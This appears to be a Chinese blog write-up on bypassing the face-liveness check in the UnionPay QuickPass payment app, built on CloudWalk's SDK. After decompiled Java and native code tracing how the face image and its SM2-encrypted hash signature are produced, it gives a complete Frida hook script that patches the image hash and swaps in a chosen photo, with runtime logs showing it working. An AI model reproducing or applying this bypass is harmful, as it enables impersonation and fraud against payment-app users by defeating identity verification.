云闪付人脸识别绕过

云闪付人脸识别绕过

逆向分析

1
cn.cloudwalk.CloudwalkSDK

云闪付使用的是云从科技的人脸识别方案。

以前版本可以通过一段视频(包含点头、张嘴、转头等动作)替换摄像头数据,新版本如果做出了不符合要求的动作,就会直接退出活体检测。

一番逆向后,发现了检测逻辑。

服务器下发动作->本地活体检测->获取人脸图片+图片签名->上传服务器进行人脸比对

所以只需要在合适的时机将活体检测通过后的图片和签名替换掉,就可以实现绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public byte[] cwGetOriBestFace(String s) {
if(this.faceLivingImgs == null || this.faceLivingImgs != null && this.faceLivingImgs[3] == null || this.faceLivingImgs != null && this.faceLivingImgs[3] != null && this.faceLivingImgs[3].livingImageData == null) {
this.faceLivingImgs = this.cwGetFaceLivingImg(s);
}

return this.faceLivingImgs[3].livingImageData; //返回图片数据
}

private FaceLivingImg[] cwGetFaceLivingImg(String s) {
String[] arr_s = new String[1];
FaceLivingImg[] arr_faceLivingImg = e.a().f() ? this.faceDetTrack.upGetLivingImageByStateSec(s, arr_s) : this.faceDetTrack.upGetLivingImage(s, arr_s);
g.b("yc_CloudwalkSDK", "upCvFinanceWrapperGetImages, signEncData:" + arr_s[0]);
this.signData = arr_s[0];// 签名(SM2加密图片HASH及相关参数)
return arr_faceLivingImg;
}

upGetLivingImageByStateSec为native方法,具体实现在libupliveness.so中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package cn.cloudwalk.jni;

import android.content.Context;

public class FaceDetTrack {
public FaceInfo[] faceInfos;
public int mFaceNum;
public long mNativeDet;

static {
FaceDetTrack.loadLibrarys();
}

public native int cwCreateDetectorFromFile(String arg1, String arg2, String arg3, String arg4, String arg5, String arg6, int arg7) {
}

public native int cwFaceDetectTrack(byte[] arg1, long arg2, int arg3, int arg4, int arg5, int arg6, int arg7, int arg8, int arg9) {
}

public native int cwFinishFaceSelect(FaceLiving arg1) {
}

public native FaceLivingImg[] cwGetLivingImage() {
}

public native int cwGetParam(FaceParam arg1) {
}

public native String cwGetVersionInfo() {
}

public native int cwReleaseDetector() {
}

public native int cwResetLivenessTarget() {
}

public native int cwResetLiving() {
}

public native int cwSetParam(FaceParam arg1) {
}

public native int cwStartFaceSelect(int arg1) {
}

public native int cwVerifyBestImg() {
}

@Override
protected void finalize() throws Throwable {
try {
super.finalize();
}
catch(Throwable throwable0) {
this.cwReleaseDetector();
throw throwable0;
}

this.cwReleaseDetector();
}

public static native boolean initJNIEnv(Context arg0, int arg1) {
}

private static void loadLibrary(String s) {
System.loadLibrary(s);
}

private static void loadLibrarys() {
FaceDetTrack.loadLibrary("cwActionSdk");
FaceDetTrack.loadLibrary("upliveness");
}

public native int upFaceDetectTrack(byte[] arg1, long arg2, int arg3, int arg4, int arg5, int arg6, int arg7, int arg8, int arg9) {
}

public native FaceLivingImg[] upGetLivingImage(String arg1, String[] arg2) {
}

public native FaceLivingImg[] upGetLivingImageByStateSec(String arg1, String[] arg2) {
}
}


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
void *__fastcall Jni_upGetLivingImageByStateSec(JNIEnv *env, int a2, int a3, int a4)
{
UPNSACryptUtil *v8; // r0
UPNSAProguardUtil *v9; // r0
void *LivingImage; // r0
void *v11; // r8
jobject v12; // r0
void *v13; // r6
jclass v14; // r0
_jfieldID *v15; // r0
jobject v16; // r4
jbyte *v17; // r11
int v18; // r6
unsigned int v19; // r0
char *v20; // r9
const char *v21; // r9
char *v22; // r11
size_t v23; // r6
size_t v24; // r0
void *v25; // r10
size_t v26; // r6
int v27; // r0
const char *v28; // r1
size_t v29; // r0
size_t v30; // r0
const jbyte *v31; // r9
int v32; // r4
jbyteArray v33; // r6
void *v34; // r0
int v35; // r0
jmethodID v37; // [sp+8h] [bp-70h]
jclass v38; // [sp+Ch] [bp-6Ch]
const char *v39; // [sp+10h] [bp-68h]
void *v40; // [sp+14h] [bp-64h]
void *ptr; // [sp+18h] [bp-60h]
jbyte *v42; // [sp+1Ch] [bp-5Ch]
void *v43; // [sp+20h] [bp-58h]
void *v44; // [sp+24h] [bp-54h]
void *v45; // [sp+28h] [bp-50h] BYREF
int v46; // [sp+2Ch] [bp-4Ch] BYREF
void *v47; // [sp+30h] [bp-48h] BYREF
int v48; // [sp+34h] [bp-44h] BYREF
int v49; // [sp+38h] [bp-40h] BYREF
char *v50; // [sp+3Ch] [bp-3Ch] BYREF
void *v51; // [sp+40h] [bp-38h] BYREF
char *plain_hexstr; // [sp+44h] [bp-34h] BYREF
unsigned __int8 *plain; // [sp+48h] [bp-30h] BYREF
char *s; // [sp+4Ch] [bp-2Ch] BYREF
unsigned __int8 *v55; // [sp+50h] [bp-28h] BYREF
int v56; // [sp+54h] [bp-24h] BYREF

v8 = (UPNSACryptUtil *)operator new(1u);
pUPNSACryptUtil = (int)UPNSACryptUtil::UPNSACryptUtil(v8);
v9 = (UPNSAProguardUtil *)operator new(8u);
pNSAProguardUtil = UPNSAProguardUtil::UPNSAProguardUtil(v9);
LivingImage = (void *)NDKFaceDetTrack::GetLivingImage(env, a2);
v11 = LivingImage;
if ( !LivingImage )
return 0;
if ( (*env)->GetArrayLength(env, LivingImage) >= 3 )
{
v12 = (*env)->GetObjectArrayElement(env, v11, 3);
v13 = v12;
if ( v12 )
{
v40 = (void *)a4;
v14 = (*env)->GetObjectClass(env, v12);
v15 = (*env)->GetFieldID(env, v14, "livingImageData", &dword_11A9C);
v16 = (*env)->GetObjectField(env, v13, v15);
v17 = (*env)->GetByteArrayElements(env, v16, 0);
v43 = v16;
v18 = (*env)->GetArrayLength(env, v16);
v19 = v18 + 1;
if ( v18 < -1 )
v19 = -1;
v20 = (char *)operator new[](v19);
memset(&v20[v18], 0, v18 != -1);
v42 = v17;
qmemcpy(v20, v17, v18);
v20[v18] = 0;
v56 = 0;
hexlify(v20, v18, &v56);
v55 = 0;
s = 0;
ptr = v20;
UPNSACryptUtil::sm3NSADigestData((UPNSACryptUtil *)pUPNSACryptUtil, (const unsigned __int8 *)v20, v18, &v55);// 图片SM3 hash计算
if ( v55 )
hexlify(v55, 32, &s);
v44 = (void *)a3;
v21 = (*env)->GetStringUTFChars(env, a3, 0);
v22 = s;
v23 = strlen(v21);
v24 = strlen(s);
v25 = malloc(v24 + v23 + 2);
v26 = strlen(v21);
memset(v25, 0, strlen(v22) + v26 + 2);
strcpy((char *)v25, v21);
strcat((char *)v25, s); // 将图片hash_hexstr与第一个字符串参数拼接
// 这个地方是替换图片Hash最佳的地方
*((_BYTE *)v25 + strlen((const char *)v25)) = mHasPassed;// mHasPassed,1或0,代表是否通过人脸识别
plain = 0;
plain_hexstr = 0;
v27 = strlen((const char *)v25);
UPNSACryptUtil::sm3NSADigestData((UPNSACryptUtil *)pUPNSACryptUtil, (const unsigned __int8 *)v25, v27, &plain);
if ( plain )
hexlify(plain, 32, &plain_hexstr);
v28 = "D7C3229932ECD25BA6CB237BBEA1C34204057BCB0AC6D7F8FD6FB4C26A107EDDCC9B8BB14A8CAA882397C4084605F57A40CFD196D33A"
"67A543768C19340401874B9CCAE780816F9E75694BD8A9792993D3BDEA1B867934DA04CB45ABE6FAF5BAAF50EA5BB65DF281D69402C0"
"9C7E1BC652F1F4EC61C12BC2AF5E51DECB0623FDBC60ADAE17802AE845B271DD6E42B747";
if ( confEnv != 1 )
v28 = "89DDEAEDC29E6F13BD50950A9D8681D3D1CBBEA6649364EAB285C3513E101D7C3D24D327C600DCFD6400566C5253B02D5C1F146EAA"
"21412FC6BFDC5E331A37F8C1D6CDD4778A991BFC61670AE85F3484C10019635CDBB8BD7B9353498AA8E9015B4A5B08B6A0B13E99E8"
"CB10A3FF7CA0CC9651E324EECA809641CF4F624BCA30B4C140258B4178BDC1D5CBEFDC6D63E1";
if ( confEnv == 2 )
v28 = "3A486812C00046CF3D1E14FE37E72095AE4625253B4675DE3CC5E28645E581C825505B9A114B9E27AE2E2067A3E513F519AFA2972E"
"E036CA8FB919A10C894EA64289C6234634FA01A67FD96B961875530DD9FD800FBD265BC1DB9996827C9712BFFAE663722F471A25DF"
"D5C1B9C658C45F6244929BDB781B9C2C4A4E17D038E2001DBD0032C10D996EAE58254C619550";
UPNSAProguardUtil::sm4DecryptData((UPNSAProguardUtil *)pNSAProguardUtil, v28, 288, &v50, &v49);// 通过对称加密SM4算法解密出SM2加密需要的公钥
if ( v50 )
{
v29 = strlen(v50);
unhexlify(v50, v29, &v51);
if ( v51 )
{
v48 = 0;
sm2ReadBytePubKey(v51, 64, &v48);
if ( v48 )
{
v30 = strlen(plain_hexstr);
UPNSACryptUtil::sm2PubEncrypt(pUPNSACryptUtil, v48, plain_hexstr, v30, &v47, &v46);// SM2加密结果
if ( v47 )
{
v39 = v21;
hexlify(v47, v46, &v45);
v31 = (const jbyte *)v45;
if ( v45 )
{
v32 = v46;
v38 = (*env)->FindClass(env, "java/lang/String");
v37 = (*env)->GetMethodID(env, v38, "<init>", "([B)V");
v33 = (*env)->NewByteArray(env, 2 * v32);
(*env)->SetByteArrayRegion(env, v33, 0, 2 * v32, v31);
v34 = (void *)_JNIEnv::NewObject(env, v38, v37, v33);
(*env)->SetObjectArrayElement(env, v40, 0, v34);
if ( v45 )
operator delete[](v45);
v45 = 0;
}
if ( v47 )
operator delete[](v47);
v21 = v39;
v47 = 0;
}
if ( v51 )
operator delete[](v51);
v51 = 0;
(*env)->ReleaseStringUTFChars(env, v44, v21);
(*env)->ReleaseByteArrayElements(env, v43, v42, 0);
free(ptr);
if ( s )
{
free(s);
s = 0;
}
if ( v25 )
free(v25);
if ( plain )
{
free(plain);
plain = 0;
}
if ( plain_hexstr )
{
free(plain_hexstr);
plain_hexstr = 0;
}
v35 = 0;
goto LABEL_41;
}
if ( v51 )
operator delete[](v51);
v51 = 0;
}
}
v35 = 1;
LABEL_41:
if ( v35 )
return 0;
}
}
return v11;
}

image-20240103124842702

Hook代码

最终代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
var lib_base = Module.findBaseAddress("libupliveness.so");
console.log('lib_base', lib_base)


var hook_addr = lib_base.add(0x118A4 + 1);

Interceptor.attach(hook_addr, {
onEnter: function (args) {
console.log("0x118A4 :", this.context.r0, Memory.readCString(this.context.r0));
},
onLeave: function (retval) {

}
}
)

var hook_addr5 = lib_base.add(0x11886 + 1);
Interceptor.attach(hook_addr5, {
onEnter: function (args) {
// console.log("0x11886 : strcat: dst:", this.context.r0, Memory.readCString(this.context.r0));
console.log("0x11886 : strcat: src:", this.context.r1, Memory.readCString(this.context.r1));
console.log('change hash...')
ptr(this.context.r1).writeUtf8String('5191C2E4B128B90F014F4F05E4ECC4BB954C0D13A1847DE4CEB9BF30B6F45A5A')
console.log('patched...')
console.log("0x11886 : strcat: src:", this.context.r1, Memory.readCString(this.context.r1));
},
onLeave: function (retval) {

}
}
)


Java.perform(function () {
console.log('start...')

var Base64 = Java.use('android.util.Base64')
var Java_FileOutputStream = Java.use('java.io.FileOutputStream')
var Java_FileInputStream = Java.use('java.io.FileInputStream')


var CloudwalkSDK = Java.use("cn.cloudwalk.CloudwalkSDK");
CloudwalkSDK.cwGetFaceLivingImg.overload('java.lang.String').implementation = function (arg_0) {
console.log("CloudwalkSDK->cwGetFaceLivingImg (argType: java.lang.String): " + arg_0);
var retval = this.cwGetFaceLivingImg(arg_0)
// console.log("CloudwalkSDK->cwGetFaceLivingImg (retType: [Lcn.cloudwalk.jni.FaceLivingImg;): " + retval)
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()))
return retval;
}


CloudwalkSDK.getSignData.overload().implementation = function () {
var retval = this.getSignData()
console.log("CloudwalkSDK->getSignData (retType: java.lang.String): " + retval)
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lang.Exception").$new()))
return retval;
}

CloudwalkSDK.cwGetOriBestFace.overload('java.lang.String').implementation = function (arg_0) {
console.log("CloudwalkSDK->cwGetOriBestFace (argType: java.lang.String): " + arg_0);
var retval = this.cwGetOriBestFace(arg_0)
console.log('replace image...')
var fp = Java_FileInputStream.$new('/data/user/0/com.unionpay/cache/up_liveness/zzzz.jpg')
var length = fp.available()
var byte_array = Java.array('byte', new Array(length).fill(0));
fp.read(byte_array, 0, byte_array.length)
fp.close()
return byte_array;
}

});

日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
0x118A4 : 0xb1ca5fe0 00820231228204431145800DAB98832AF5DD1321FA1CC55E5832A8D8E2C1F37F9C62819F4ABAB889359721D1
0x118FC : sm4Decrypt result: 0xb1c68e00 43F650B853F9AD70670461B935257DC25D6D9B8E905356F512C88792F76A9EEABA5A4DA3C81790B2F73D91C15F1E2731B442734777BD34C636AAE19FDD63A941
0x119E2 : signData result: 0xabf36100 �p��#pپEA�݆�{��C�Vءw�i���#jI����hP�5�F`3^�l�.�)K|e�y� ����T��<{t�
O�=J`�6ȓ��Pra[�)4ւ�w�]�ߪxS�$֨��l���6�]+�C�L�h}��Z�0P�8���?�FDN�6�>��c
CloudwalkSDK->getSignData (retType: java.lang.String): 047FE870F7B02370D9BE4541D4DD86BC7B0605109C9A43D356D8A11E771CFD69A7FE8A236A49B28AC7F36850C135B34660335EA06C892ED2294B7C65E61679AC20CBC4F28054EFDD3C7B74EA0A4F1A8C3D4A60850136C893E6935072615BE12934D682C3778F5DFE12DFAA7853AF24D6A8B9826CABE5BB36AB91085D2BEF43A54CEA02681F7DEFB65AFD1C305001BD38BA88DA3FD446444E9F3688173EAFA06317
java.lang.Exception
at cn.cloudwalk.CloudwalkSDK.getSignData(Native Method)
at com.fort.andjni.JniLib.cV(Native Method)
at com.unionpay.liveness.ui.LivenessActivity.C(Unknown Source:15)
at com.fort.andjni.JniLib.cV(Native Method)
at com.unionpay.liveness.ui.LivenessActivity.onEncodeComplete(Unknown Source:15)
at com.mabeijianxi.smallvideorecord2.MediaRecorderNative$1.run(SourceFile:180)
at android.os.Handler.handleCallback(Handler.java:942)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loopOnce(Looper.java:210)
at android.os.Looper.loop(Looper.java:299)
at android.app.ActivityThread.main(ActivityThread.java:8247)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:559)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:954)


0x118A4 : 0xb1ca6880 008202312282053561337007941514AAEFEA46249913AEACD7042DCE42CE4ED2DF73A24CB8CA7D2E3B96A471
0x118FC : sm4Decrypt result: 0x9e485a40 43F650B853F9AD70670461B935257DC25D6D9B8E905356F512C88792F76A9EEABA5A4DA3C81790B2F73D91C15F1E2731B442734777BD34C636AAE19FDD63A941
����Ob����8$V�j�t��s�lj��;�Krww�:���R\P;����ƒ�%����� G���Wy
O�:A�u�g?��_�qs����0� O�
:r��� �C�i$
!q�T�|�kb�/כRl:�1Ï�ˠP����f����o�G~
CloudwalkSDK->getSignData (retType: java.lang.String): 045256109052025C503BFA8D960393C69204D325A48F81C0E70947E403B8EA57790DEE1AAE1F7F19AFBC044F6289B1C511B8382456A16A827487D1738FC789B9D63BFA154B72770577C43ABC8E0C4FEC0D4FA93A41D9759810673F81B35FC50E177173B490E7AA30810A3A7298AFFB09F843DE69240C21719C54C6137C16EE6B6202BE2FD79B52046C023AB731C38FCECBA050D111DAC2F7669AA782B26FBE477E
java.lang.Exception
at cn.cloudwalk.CloudwalkSDK.getSignData(Native Method)
at com.fort.andjni.JniLib.cV(Native Method)
at com.unionpay.liveness.ui.LivenessActivity.C(Unknown Source:15)
at com.fort.andjni.JniLib.cV(Native Method)
at com.unionpay.liveness.ui.LivenessActivity.onEncodeComplete(Unknown Source:15)
at com.mabeijianxi.smallvideorecord2.MediaRecorderNative$1.run(SourceFile:180)
at android.os.Handler.handleCallback(Handler.java:942)
at android.os.Handler.dispatchMessage(Handler.java:99)
at android.os.Looper.loopOnce(Looper.java:210)
at android.os.Looper.loop(Looper.java:299)
at android.app.ActivityThread.main(ActivityThread.java:8247)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:559)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:954)

笔记

1
2
// 函数签名
sm2Encrypt(SM2PublicKey_st *,uchar *,int,uchar **,int *) 00014184